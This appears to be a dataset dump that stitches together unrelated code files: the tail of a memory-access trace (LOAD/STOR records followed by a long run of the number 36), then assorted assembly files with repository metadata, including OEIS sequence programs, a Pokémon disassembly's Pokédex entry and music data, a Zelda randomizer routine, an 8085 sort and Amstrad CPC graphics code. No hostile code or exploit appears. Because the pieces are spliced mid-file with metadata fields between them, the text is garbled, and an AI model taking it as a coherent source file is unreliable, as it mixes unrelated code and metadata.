'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 4, 'congruent': 9, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 2, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 32, 'congruent': 3, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'} {'src': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'} {'36': 21829} 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 */
29.367284
2,999
0.649606
83ab6f4dfcb917588f2a1eb31f6dbea0fa0c0a25
381
asm
Assembly
programs/oeis/255/A255817.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/255/A255817.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/255/A255817.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A255817: Parity of A000788, which is the total number of ones in 0..n in binary. ; 0,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,0,1,0,0,1,1,1,0,1,1,1,0,0,1,0,0,0,1,0,0 mov $1,$0 seq $1,245710 ; Number of nonzero evil numbers <= n, see A001969. sub $0,$1 mod $0,2
47.625
201
0.585302
86f99373a9a6af8e916cf1f9d1fbba0202f4f02a
176
asm
Assembly
data/pokemon/dex_entries/farfetch_d.asm
AtmaBuster/pokeplat-gen2
fa83b2e75575949b8f72cb2c48f7a1042e97f70f
[ "blessing" ]
6
2021-06-19T06:41:19.000Z
2022-02-15T17:12:33.000Z
data/pokemon/dex_entries/farfetch_d.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
data/pokemon/dex_entries/farfetch_d.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
3
2021-01-15T18:45:40.000Z
2021-10-16T03:35:27.000Z
db "WILD DUCK@" ; species name db "In order to pre-" next "vent their" next "extinction, more" page "people have made" next "an effort to breed" next "these #MON.@"
17.6
31
0.653409
6bc14a4fea09faa54c0fcf2753dd1a71a9f59f8b
349
asm
Assembly
DOS/Shift/shift-2.asm
icecoobe/oslab
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
52
2019-04-13T01:50:34.000Z
2022-01-14T02:08:32.000Z
DOS/Shift/shift-2.asm
icecoobe/oslab
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
1
2016-04-08T08:35:34.000Z
2018-08-31T16:45:06.000Z
DOS/Shift/shift-2.asm
icecoobe/nasm
bd282e0f1249f6db5f0cc8daa2da05976f173012
[ "Unlicense" ]
19
2019-04-21T03:48:31.000Z
2022-01-07T08:18:57.000Z
;;---------------------------------------------------------------------- ;; shift-2.asm ;; ;; 移位操作实验(1) ;; 实验移位指令对于符号位的处理 ;;---------------------------------------------------------------------- org 100h mov ax, -1 mov cl, 16 sal ax, cl ;; 算数右移 ;; 符号位不变 mov ax, 0xFFFF sar ax, 1 ;; 逻辑右移 ;; 符号位会改变 mov ax, 0xFFFF shr ax, 1 mov ax, 4c00h int 21h
13.423077
72
0.361032
8609c4afda0f5171831dda767579987ca2e99cbe
2,805
asm
Assembly
programs/oeis/056/A056122.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/056/A056122.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/056/A056122.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A056122: a(n) = (8*n+9)*C(n+8,8)/9. ; 1,17,125,605,2255,7007,19019,46475,104390,218790,432718,814606,1469650,2554930,4299130,7027834,11195503,17425375,26558675,39714675,58363305,84412185,120310125,169169325,234908700,322420956,437766252,588395500,783406580,1033836980,1352996612,1756844804,2264415725,2898296765,3685164665,4656384473,5848676691,7304858275,9074663455,11215650655,13794202114,16886623138,20580348250,24975261850,30185141350,36339231110,43583955870,52084782750,62028241275,73624111275,87107788911,102742841487,120823762125,141678935805,165673828705,193214413217,224750841464,260781380600,301856623640,348583990040,401632530728,461738052776,529708579400,606430161480,692873057305,790098297769,899264654773,1021636031125,1158589290775,1311622548775,1482363940915,1672580893555,1884189914750,2119266928350,2380058173350,2668991691366,2988689425722,3341979956250,3731911894530,4161767964930,4635079797447,5155643458999,5727535750475,6355131297515,7043120463665,7796528115233,8620733267861,9521489645525,10504947183380,11577674506580,12746682417924,14019448427908,15403942361500,16908653076700,18542616330700,20315443830220,22237353503365,24319201031125,26572512677425,29009519457425,31643192684571,34487280937707,37556348490375,40865815245255,44431998217530,48272154611802,52404526538034,56848387412850,61624090093390,66753116791790,72258130819238,78163030209446,84493003272275,91274586129155,98535722282855,106305824275079,114615837486293,123498306133125,132987441519625,143119192599625,153931318908400,165463465922800,177757242910000,190856303326000,204806427826000,219655609949776,235454144546192,252254719002000,270112507341105,289085267261505,309233440178157,330620254341069,353311831098975,377377294380015,402888883461915,429922069105243,458555673124406,488871991472150,520956920914430,554900089373630,590794990019234,628739119186178,668834118202250,711185919207050,755904895046175,803106013325455,852908994711235,905438475563875,960824174992825,1019201066422825,1080709553761981,1145495652263677,1213711174175500,1285513919269580,1361067870349980,1440543393834012,1524117445505604,1611973781540100,1704303174901140,1801303637211540,1903180646201373,2010147378837741,2122424950242025,2240242658501705,2363838235485155,2493458103769139,2629357639790063,2771801443331375,2921063613460850,3077428031032850,3241188647872010,3412649782756170,3592126424317750,3779944540984150,3976441398079150,4181965882208686,4396878833055787,4621553382710875,4856375302665055,5101743358595455,5358069673073117,5625780096325389,5905314585186225,6197127590369265,6501688452200040,6819481804945128,7151007989877576,7496783477219400,7857341297103480,8233231479698680,8625021504643544,9033296759935448 lpb $0,1 mov $2,$0 cal $2,56001 ; A second-order recursive sequence. sub $0,1 add $1,$2 lpe add $1,1
255
2,656
0.907665
88496189eaf3f1856720dc4d68a5933e6d9c9d2b
1,249
asm
Assembly
programs/oeis/008/A008604.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/008/A008604.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/008/A008604.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A008604: Multiples of 22. ; 0,22,44,66,88,110,132,154,176,198,220,242,264,286,308,330,352,374,396,418,440,462,484,506,528,550,572,594,616,638,660,682,704,726,748,770,792,814,836,858,880,902,924,946,968,990,1012,1034,1056,1078,1100,1122,1144,1166,1188,1210,1232,1254,1276,1298,1320,1342,1364,1386,1408,1430,1452,1474,1496,1518,1540,1562,1584,1606,1628,1650,1672,1694,1716,1738,1760,1782,1804,1826,1848,1870,1892,1914,1936,1958,1980,2002,2024,2046,2068,2090,2112,2134,2156,2178,2200,2222,2244,2266,2288,2310,2332,2354,2376,2398,2420,2442,2464,2486,2508,2530,2552,2574,2596,2618,2640,2662,2684,2706,2728,2750,2772,2794,2816,2838,2860,2882,2904,2926,2948,2970,2992,3014,3036,3058,3080,3102,3124,3146,3168,3190,3212,3234,3256,3278,3300,3322,3344,3366,3388,3410,3432,3454,3476,3498,3520,3542,3564,3586,3608,3630,3652,3674,3696,3718,3740,3762,3784,3806,3828,3850,3872,3894,3916,3938,3960,3982,4004,4026,4048,4070,4092,4114,4136,4158,4180,4202,4224,4246,4268,4290,4312,4334,4356,4378,4400,4422,4444,4466,4488,4510,4532,4554,4576,4598,4620,4642,4664,4686,4708,4730,4752,4774,4796,4818,4840,4862,4884,4906,4928,4950,4972,4994,5016,5038,5060,5082,5104,5126,5148,5170,5192,5214,5236,5258,5280,5302,5324,5346,5368,5390,5412,5434,5456,5478 mov $1,$0 mul $1,22
208.166667
1,199
0.783827
37339108c2c995ca7f26b4b951ba4d58d42ea570
206
asm
Assembly
SORT.asm
sekharkaredla/8085
bca7395498d013c0a337f696aad49ead34f8cbdd
[ "MIT" ]
1
2019-07-31T04:41:42.000Z
2019-07-31T04:41:42.000Z
SORT.asm
sekharkaredla/8085
bca7395498d013c0a337f696aad49ead34f8cbdd
[ "MIT" ]
null
null
null
SORT.asm
sekharkaredla/8085
bca7395498d013c0a337f696aad49ead34f8cbdd
[ "MIT" ]
1
2022-01-11T07:50:34.000Z
2022-01-11T07:50:34.000Z
LXI H,4000 MOV C,M MOV B,M DCR B ZONE: INX H LXI D,4001 TYPE: MOV A,M CMP D JNZ ZONE REST: MOV A,M MOV M,D MOV D,A INX D DCR B JNZ TYPE RST 1
10.3
16
0.466019
734defb6be59c97d1ac707801dae7bb5c95528b6
382
asm
Assembly
zsnes.asm
mmxbass/z3randomizer
04906b5f872e0afb46bf7c98161da50f82235a08
[ "MIT" ]
20
2017-05-17T23:00:36.000Z
2018-11-29T20:07:06.000Z
zsnes.asm
mmxbass/z3randomizer
04906b5f872e0afb46bf7c98161da50f82235a08
[ "MIT" ]
13
2017-07-19T19:16:53.000Z
2018-04-23T19:52:15.000Z
zsnes.asm
mmxbass/z3randomizer
04906b5f872e0afb46bf7c98161da50f82235a08
[ "MIT" ]
17
2017-05-22T19:58:01.000Z
2018-11-22T03:35:57.000Z
;-------------------------------------------------------------------------------- CheckZSNES: SEP #$28 LDA #$FF CLC ADC #$FF CMP #$64 CLD BEQ .zsnes REP #$20 LDA #$01FF : TCS ; thing we wrote over - initialize stack JML.l ReturnCheckZSNES .zsnes JML DontUseZSNES ;--------------------------------------------------------------------------------
23.875
81
0.340314
bc3b94a0107ed5f16a5a8713e0f4c8097be9a9c9
897
asm
Assembly
libsrc/cpc/cpc_PrintGphStrXYM12X_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/cpc/cpc_PrintGphStrXYM12X_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/cpc/cpc_PrintGphStrXYM12X_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; Amstrad CPC library ; ; ****************************************************** ; ** Librería de rutinas para Amstrad CPC ** ; ** Raúl Simarro, Artaburu 2009 ** ; ****************************************************** ; ; void cpc_PrintGphStrXYM12X(char *, unsigned int address) __smallc ; ; ; $Id: cpc_PrintGphStrXYM12X_callee.asm $ ; SECTION code_clib PUBLIC cpc_PrintGphStrXYM12X_callee PUBLIC _cpc_PrintGphStrXYM12X_callee EXTERN cpc_PrintGphStr0M1 EXTERN cpc_GetScrAddress0 .cpc_PrintGphStrXYM12X_callee ._cpc_PrintGphStrXYM12X_callee ;preparación datos impresión. El ancho y alto son fijos! pop bc pop hl ; l=y pop de ; e=x ld a,e push bc ; ret addr call cpc_GetScrAddress0 ; hl= screen address pop bc ; ret addr pop de ; text push bc ld a,1 JP cpc_PrintGphStr0M1
23
76
0.57748
8268e3ba4213e4f9ab6a4562b7f2fe6cd18eb15d
820
asm
Assembly
libsrc/graphics/bee/clg.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/graphics/bee/clg.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/graphics/bee/clg.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; ; MicroBEE pseudo graphics routines ; ; cls () -- clear screen ; ; Stefano Bodrato - 2016 ; ; ; $Id: clg.asm,v 1.5 2017-01-02 21:51:24 aralbrec Exp $ ; SECTION code_clib PUBLIC clg PUBLIC _clg EXTERN cleargraphics ;.vdutab ; 64*16 ; defb 107,64,81,55,18,9,16,17,$48,$0F,$2F,$0F,0,0,0,0 ;.vdutab ; 40x24 ; defb $35,40,$2D,$24,$1b,$05,$19,$1a,$48,$0a,$2a,$0a,$20,0,0,0 ;.vdutab ; 80x24 ; defb $6b,80,$58,$37,$1b,$05,$18,$1a,$48,$0a,$2a,$0a,$20,0,0,0 .vdutab ; 80x25 - Peter Broughton ; defb $6b,$50,$5b,$37,$1b,$05,$19,$1a,$48,$0a,$2a,$0a,$20,0,0,0 defb $6b,$50,$59,$37,$1b,$05,$19,$1b,$48,$0a,$2a,$0a,$20,0,0,0 .clg ._clg LD HL,vdutab LD C,0 LD B,16 .vdloop LD A,C OUT ($0C),A LD A,(HL) OUT ($0D),A INC HL INC C DJNZ vdloop jp cleargraphics
16.078431
64
0.560976
96514ce99385d9ef45907412bbbe5acad4862ac3
744
asm
Assembly
oeis/288/A288429.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/288/A288429.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/288/A288429.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A288429: a(n) = 2*a(n-1) - a(n-2) + a(n-3) - a(n-4), where a(0) = 2, a(1) = 4, a(2) = 5, a(3) = 6. ; Submitted by Jamie Morken(w4) ; 2,4,5,6,9,13,18,26,38,55,80,117,171,250,366,536,785,1150,1685,2469,3618,5302,7770,11387,16688,24457,35843,52530,76986,112828,165357,242342,355169,520525,762866,1118034,1638558,2401423,3519456,5158013,7559435,11078890,16236902,23796336,34875225,51112126,74908461,109783685,160895810,235804270,345587954,506483763,742288032,1087875985,1594359747,2336647778,3424523762,5018883508,7355531285,10780055046,15798938553,23154469837,33934524882,49733463434,72887933270,106822458151,156555921584,229443854853 mov $3,1 lpb $0 sub $0,1 mov $4,1 add $4,$3 mov $3,$2 mov $2,$1 add $1,$4 lpe mov $0,$1 add $0,2
46.5
500
0.733871
cd2451efbf5e44e4d8c030d82ff0704a584c6404
318
asm
Assembly
programs/oeis/218/A218245.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/218/A218245.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/218/A218245.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A218245: Nicolas's sequence, whose nonnegativity is equivalent to the Riemann hypothesis. ; 2,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 add $0,5 mov $1,10 div $1,$0
45.428571
195
0.591195
ea38a0e6d77e15ec6a91a3f44bd471ff13c5faa3
10,820
asm
Assembly
audio/music/viridiancity.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
28
2019-11-08T07:19:00.000Z
2021-12-20T10:17:54.000Z
audio/music/viridiancity.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
13
2020-01-11T17:00:40.000Z
2021-09-14T01:27:38.000Z
audio/music/viridiancity.asm
Dev727/ancientplatinum
8b212a1728cc32a95743e1538b9eaa0827d013a7
[ "blessing" ]
22
2020-05-28T17:31:38.000Z
2022-03-07T20:49:35.000Z
Music_ViridianCity: musicheader 4, 1, Music_ViridianCity_Ch1 musicheader 1, 2, Music_ViridianCity_Ch2 musicheader 1, 3, Music_ViridianCity_Ch3 musicheader 1, 4, Music_ViridianCity_Ch4 Music_ViridianCity_Ch1: tempo 157 volume $77 stereopanning $f dutycycle $2 vibrato $12, $34 notetype $c, $a7 octave 3 note F#, 1 note __, 3 note F#, 2 note __, 4 note F#, 2 note __, 2 note F#, 1 note __, 1 note F#, 4 note __, 2 octave 4 note D_, 2 note __, 2 octave 3 note A_, 2 note __, 2 note F#, 1 note __, 1 note F#, 1 note __, 3 note F#, 2 note __, 4 note F#, 2 note __, 2 note G_, 1 note __, 1 note __, 4 note G_, 8 note __, 4 Music_ViridianCity_branch_f4039: callchannel Music_ViridianCity_branch_f40c5 note __, 4 callchannel Music_ViridianCity_branch_f40c5 octave 4 note C_, 4 callchannel Music_ViridianCity_branch_f410f octave 4 note B_, 2 note G_, 2 note D_, 2 octave 3 note B_, 2 note F#, 2 note E_, 2 note F#, 1 note __, 1 note A_, 1 note __, 3 note F#, 2 note A_, 1 note __, 1 octave 4 note C#, 1 note __, 1 note __, 2 octave 3 note A_, 1 note __, 1 octave 4 note C#, 1 note __, 1 note F#, 1 note __, 1 intensity $87 octave 5 note F#, 4 note F_, 4 intensity $a7 octave 3 note G_, 6 note B_, 8 octave 4 note E_, 2 note __, 2 note E_, 2 octave 3 note B_, 4 note G_, 2 note F#, 2 note E_, 4 note D_, 2 octave 2 note A_, 2 octave 3 note D_, 1 note __, 1 note F#, 1 note __, 3 note D_, 2 note F#, 1 note __, 1 note A_, 1 note __, 1 note __, 2 note F#, 2 note A_, 1 note __, 1 octave 4 note C_, 1 note __, 1 note D#, 2 note C_, 2 octave 3 note B_, 2 note A_, 2 callchannel Music_ViridianCity_branch_f410f octave 4 note A_, 2 note G_, 2 note D_, 2 note G_, 2 octave 3 note F#, 2 note E_, 2 note F#, 1 note __, 1 note A_, 1 note __, 3 note F#, 2 note A_, 1 note __, 1 octave 4 note C_, 1 note __, 1 note __, 2 note E_, 2 note __, 2 note C_, 2 note __, 2 octave 3 note A_, 2 note __, 2 note F#, 2 note G_, 6 note B_, 1 note __, 1 octave 4 note E_, 4 note F#, 2 note G_, 6 note E_, 2 note __, 2 octave 3 note G_, 2 octave 4 note E_, 2 note __, 2 note F#, 6 note D_, 4 octave 3 note A_, 4 note F#, 4 note G_, 1 note __, 3 note G_, 8 note A#, 4 loopchannel 0, Music_ViridianCity_branch_f4039 Music_ViridianCity_branch_f40c5: octave 3 note A_, 1 note __, 3 note A_, 2 note __, 4 note A_, 2 note __, 2 note A_, 1 note __, 1 octave 4 note C_, 4 note __, 2 octave 3 note A_, 2 note __, 2 octave 4 note C_, 2 octave 3 note A_, 1 note __, 1 octave 4 note C_, 1 note __, 1 octave 3 note B_, 1 note __, 3 note G_, 2 note __, 4 note G_, 2 note __, 2 octave 4 note D_, 2 note __, 2 octave 3 note B_, 2 note __, 2 note G_, 1 note __, 1 note G_, 4 note __, 2 note B_, 1 note __, 1 octave 4 note D_, 1 note __, 3 note D_, 2 note __, 4 note D_, 2 note __, 2 note D_, 1 note __, 1 octave 3 note G_, 4 note __, 2 octave 4 note C#, 1 note __, 1 note E_, 1 note __, 1 note D_, 4 note C#, 1 note __, 1 octave 3 note A_, 1 note __, 3 note F#, 2 note __, 4 note F#, 2 note __, 2 note G_, 1 note __, 1 note __, 4 note G_, 8 endchannel Music_ViridianCity_branch_f410f: octave 3 note B_, 2 note D_, 2 note G_, 1 note __, 1 note B_, 1 note __, 3 note G_, 2 note B_, 1 note __, 1 octave 4 note D_, 1 note __, 1 note __, 2 octave 3 note B_, 2 octave 4 note D_, 1 note __, 1 note G_, 1 note __, 1 endchannel Music_ViridianCity_Ch2: vibrato $10, $46 dutycycle $1 notetype $c, $b7 stereopanning $f0 octave 2 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 4 note __, 4 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 1 note __, 1 octave 3 note C#, 4 octave 2 note A_, 1 note __, 1 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 4 note __, 2 note E_, 1 note __, 1 note __, 4 note E_, 8 note __, 4 Music_ViridianCity_branch_f414c: callchannel Music_ViridianCity_branch_f41c0 note __, 4 callchannel Music_ViridianCity_branch_f41c0 octave 2 note F#, 4 callchannel Music_ViridianCity_branch_f4201 note G_, 4 note __, 2 octave 3 note D_, 1 note __, 1 octave 2 note G_, 1 note __, 1 octave 3 note D_, 4 octave 2 note B_, 2 callchannel Music_ViridianCity_branch_f420b note __, 2 note F#, 2 note __, 2 octave 3 note C#, 1 note __, 1 note C#, 4 note C_, 4 callchannel Music_ViridianCity_branch_f4215 note E_, 4 note __, 2 note B_, 1 note __, 1 note E_, 2 note B_, 2 note G_, 4 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 4 note C_, 2 note C#, 2 note __, 2 note D#, 2 note A_, 1 note __, 1 octave 3 note C_, 1 note __, 1 note D#, 2 note C_, 2 octave 2 note A_, 2 note F#, 2 callchannel Music_ViridianCity_branch_f4201 note G_, 4 note __, 2 note B_, 1 note __, 1 note G_, 1 note __, 1 note B_, 4 note G_, 2 callchannel Music_ViridianCity_branch_f420b note __, 2 note F#, 2 note __, 2 note A_, 2 note __, 2 octave 3 note C_, 2 note __, 2 octave 2 note D#, 2 callchannel Music_ViridianCity_branch_f4215 note E_, 4 note __, 2 note A#, 1 note __, 1 note A#, 4 note __, 2 note G_, 1 note __, 1 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 4 note __, 2 note D_, 1 note __, 1 note E_, 1 note __, 3 note E_, 8 octave 1 note A_, 4 loopchannel 0, Music_ViridianCity_branch_f414c Music_ViridianCity_branch_f41c0: octave 2 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 4 note __, 4 note D#, 4 note __, 2 note A_, 1 note __, 1 note A_, 1 note __, 1 octave 3 note C_, 4 octave 2 note A_, 1 note __, 1 note E_, 4 note __, 2 note B_, 1 note __, 1 note B_, 4 note __, 4 note E_, 4 note __, 2 note B_, 1 note __, 1 note B_, 1 note __, 1 octave 3 note D_, 4 octave 2 note B_, 1 note __, 1 note G_, 4 note __, 2 octave 3 note D_, 1 note __, 1 note D_, 4 note __, 4 octave 2 note A_, 4 note __, 2 octave 3 note E_, 1 note __, 1 note E_, 1 note __, 1 note G_, 4 note E_, 1 note __, 1 octave 2 note D_, 4 note __, 2 note A_, 1 note __, 1 note A_, 4 note __, 2 note E_, 1 note __, 1 note __, 4 note E_, 8 endchannel Music_ViridianCity_branch_f4201: note G_, 4 note __, 2 octave 3 note D_, 1 note __, 1 note D_, 4 octave 2 note F_, 2 note F#, 2 endchannel Music_ViridianCity_branch_f420b: note F#, 4 note __, 2 octave 3 note C#, 1 note __, 1 note C#, 4 octave 2 note E_, 2 note F_, 2 endchannel Music_ViridianCity_branch_f4215: octave 2 note E_, 4 note __, 2 note B_, 1 note __, 1 note B_, 4 note D_, 2 note D#, 2 endchannel Music_ViridianCity_Ch3: vibrato $12, $24 notetype $c, $13 stereopanning $ff octave 4 note A_, 1 note __, 3 note A_, 2 note __, 4 note A_, 2 note __, 2 note A_, 1 note __, 1 note A_, 4 note __, 2 octave 5 note F#, 2 note __, 2 note C#, 2 note __, 2 octave 4 note A_, 1 note __, 1 note A_, 1 note __, 3 note A_, 2 note __, 4 note A_, 2 note __, 2 octave 5 note D_, 1 note __, 1 note __, 4 note D_, 8 note F#, 2 note G_, 2 Music_ViridianCity_branch_f4246: intensity $13 callchannel Music_ViridianCity_branch_f42a2 octave 5 note F#, 2 note G_, 2 callchannel Music_ViridianCity_branch_f42a2 note E_, 4 vibrato $18, $25 intensity $25 note B_, 12 note G_, 4 octave 6 note D_, 8 note E_, 2 note D_, 2 note C#, 2 octave 5 note B_, 2 note A_, 12 note F#, 4 note A_, 8 note A_, 4 note G#, 4 note E_, 10 note E_, 2 note F#, 2 note G_, 2 note __, 